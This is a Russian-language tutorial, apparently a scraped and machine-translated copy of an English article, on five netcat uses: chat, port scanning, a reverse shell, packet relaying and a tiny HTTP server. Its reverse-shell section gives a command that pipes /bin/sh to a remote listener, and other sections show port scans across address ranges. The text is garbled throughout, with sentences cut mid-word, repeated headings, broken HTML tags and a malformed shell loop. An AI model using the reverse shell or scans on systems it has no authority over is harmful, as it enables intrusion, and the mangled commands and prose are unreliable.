Netcat — это мощная сетевая утилита командной строки в Linux, которая может отправлять и прослушивать пакеты TCP и UDP. В отличие от других сетевых инструментов, netcat чрезвычайно прост. Однако его простота также позволяет ему выполнять практически любые действия в сети.
В этой статье будут показаны 5 простых сетевых задач, которые можно выполнить с помощью netcat. Кроме того, в этой статье также будет показано, что делает netcat особенным и почему вам следует включить его в свой набор инструментов Linux.
Как работает Netcat и зачем его использовать?
Netcat — это базовая утилита, позволяющая отправлять и получать сетевые пакеты. Впервые он был выпущен в 1995 году программистом под псевдонимом Хоббит. С тех пор netcat стал важной частью каждого дистрибутива Linux.
По сути, netcat отправляет сетевые запросы с одного хоста Linux на другой. Этот сетевой запрос может с
Contents
Как работает Netcat и зачем его использовать?
на любой порт.Этот подход означает, что netcat может создать любой возможный тип сетевого подключения. Например, программа может создавать прямые TCP-соединения, которые вы можете использовать либо с передавать файлы , либо с создавать сеансы обратной оболочки .
1. Сеанс однорангового чата
Одно из основных применений netcat — это простой сеанс однорангового чата между двумя компьютерами Linux. Это метод связи, который не использует какой-либо сторонний сервер для отправки и получения информации.
- Чтобы это работало, вам необходимо открыть порт между 49152 и 65536 на вашем локальном компьютере. Здесь удаленный хост сможет подключиться и отправить произвольную информацию на ваш компьютер.
sudo ufw allow 50000
- Вам также необходимо открыть другой порт на удаленном хосте, чтобы ваш компьютер мог отправлять на него информацию:
sudo ufw allow 50001
<старый старт="3">
netcat
на своем компьютере со следующими аргументами:nc -lp 50000
Откроется сеанс netcat, который активно прослушивает данные на порту 50000.
- Теперь удаленный хост может отправлять любые текстовые данные на ваш локальный компьютер. Например, следующая команда отправит стандартный ввод системы на удаленный компьютер.
cat - | nc 192.168.122.136 50000
1. Сеанс однорангового чата
ps://saintist.ru/wp-content/uploads/2024/05/5-simple-netcat-uses-07-remote-text-chat-sample.png" alt="Терминал, показывающий стандартное приглашение ввода для базового чата Netcat.">- Чтобы ответить на сообщение, удаленному хосту также необходимо запустить демон прослушивания:
nc -lp 50001
- Теперь вы также можете отправить сообщение с локального компьютера на удаленный хост:
cat - | nc 192.168.122.177 50001
2. Базовый сканер портов
A сканер портов — это простая утилита, которая проверяет, доступен ли набор портов на машине с удаленного хоста. Это очень полезно в тех случаях, когда вы не уверены, открыты ли в вашей системе соответствующие порты.
Чтобы проверить один порт, вы можете ввести nc -v
, а затем IP-адрес и порт, который вы хотите проверить:
nc -v 192.168.122.177 80
Вы также можете указать диапазон номеров, в котором netcat будет последовательно проверять каждый номер порта внутри этого диапазона. Например, следующая команда просканирует все открытые «хорошо известные» порты:
nc -v 192.168.122.177 1-1024
Одним из недостатков запроса портов является то, что он генерирует ненужный сетевой трафик. Это может стать проблемой, если вы тестируете большое количество портов в небольшой домашней сети.
Чтобы это исправить, включите режим Netcat «Нулевой ввод-вывод», который не создает никакой сетевой активности на удаленном хосте:
nc -zv 192.168.122.177 1-1024
К вашему сведению: Узнайте, как используйте nmap даже без sudo собрать информацию о компьютерах в вашей локальной сети.
3. Обратная оболочка
Обратные оболочки — это основа тестирования на проникновение в Linux. Это удаленные эк
2. Базовый сканер портов
яют управлять системой даже без открытых входящих портов. Это делает обратные оболочки удобными, если вам нужно получить доступ к машине, у которой нет доступа по SSH.- Чтобы создать обратную оболочку, вам необходимо открыть демон-прослушиватель на локальном компьютере:
nc -lp 50000
- Запустите соединение netcat на удаленном компьютере. В этом случае вам также необходимо передать среду оболочки удаленного компьютера:
nc -e /bin/sh 192.168.122.136 50000
Примечание. Приведенная выше команда будет работать только в дистрибутивах, отличных от Ubuntu. Чтобы сделать это в Ubuntu, вам необходимо установить пакет «netcat-traditional» и заменить «nc» на «nc.traditional».
<ол старт="3">
ls
будет распечатан текущий каталог удаленного пользователя.ls -la
- Чтобы завершить сеанс обратной оболочки, вы можете нажать Ctrl+ Cна демоне-прослушивателе вашего локального компьютера.
Полезно знать: к изучение основ сценариев оболочки узнайте, как эффективно использовать обратную оболочку.
4. Базовая ретрансляция пакетов
Помимо прямого чтения и записи в сетевой поток, вы также можете использовать netcat для перенаправления входящего соединения на любой исходящий порт. Это работает путем объединения нескольких сеансов прослушивателя и клиента netcat с использованием каналов UNIX.
- Создайте сеанс netcat, который прослушивает порт 50000. Он будет служить исходящим портом для вашего базового реле:
nc -lv localhost 50000
- Откройте новый терминал и выполните следующую команду:
nc -lv localhost 50001 | nc localhost 50000
При этом будет создан новый демон-прослушиватель на порту 50001, который будет автоматически перенаправлять все пакеты с этого порта на порт 50000.
- Теперь вы можете отправлять данные на входящий порт, и netcat автомати
3. Обратная оболочка
а исходящий порт.
echo "MakeTechEasier" | nc localhost 50001
- Помимо локальных портов, вы также можете использовать эту функцию для перенаправления любого сетевого трафика на другой компьютер. Например, следующий код отправляет данные с порта 50000 на тот же порт в другой системе:
nc -lv localhost 50000 | nc 192.168.122.177 50000
Примечание. Чтобы это работало, вам потребуется запустить несколько процессов-демонов, и никакие проходящие данные не шифруются.
5. Базовый HTTP-сервер
Настройка HTTP-сервера может оказаться сложным процессом, даже если вы хотите обслуживать только одну страницу. В этом отношении netcat также может служить простым статическим веб-сервером, который можно запустить в Linux без установки каких-либо дополнительных инструментов.
- Создайте базовый файл ответов HTTP. Следующий фрагмент кода отображает веб-страницу с простым сообщением:
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Server: netcat! <!doctype html> <html> <body> <h1>Hello MakeTechEasier!</h1> </body> </html>
- Сохраните его как «index.http» в своем домашнем каталоге.
- Выполните следующую команду:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Теперь у вас есть работающий веб-сервер. Вы можете посетить свою веб-страницу, открыв веб-браузер и перейдя по адресу http://localhost:8080.
- Нажмите Ctrl+ Cна терминале, чтобы выйти из текущего сеанса веб-сервера.
Примечание. Как видите, это всего лишь очень простой HTTP-сервер, и он небезопасен. Если у вас собственный сервер, вам следует следовать эти советы по защите вашего сервера .
Полезно знать: к использование sed для управления текстовыми потоками научитесь эффективно управлять своими файлами.
Часто задаваемые вопросы
Я не могу подключиться к удаленному компьютеру с помощью netcat.
Эта проблема, скорее всего, связана с заблокированным портом брандмауэра на удаленном компьютере. Вам необходимо убедиться, что порт, который вы используете на своем компьютере, открыт как для входящих, так и для исходящих соединений. Например, вам нужно запустить sudo ufw allow 49999
, если вы хотите использовать порт 49999 на удаленном компьютере.
Можно ли подключиться к любому хосту с помощью netcat?
Нет. Хотя netcat может читать и записывать в любой произвольный сетевой поток, он не может подключиться к машине, которую невозможно обнаружить в сети вашей системы. К ним относятся частные сети, в которых не включена переадресация портов, а также системы с воздушным зазором, не имеющие доступа к сети.
Можно ли подделать соединение в netcat?
Нет. Это связано с тем, что netcat может отправлять и получать пакеты только с действующего сетевого интерфейса. Однако вы можете изменить источник получения конкретного пакета, если у вас несколько сетевых интерфейсов.
Например, вы можете запустить nc -l -s 10.0.0.2 -p 50000
, чтобы указать netcat явно отправлять пакеты с использованием интерфейса с IP-адресом «10.0.0.2».
Изображение предоставлено: ThisisEngineering RAEng через Unsplash . Все изменения и скриншоты Рамсеса Реда.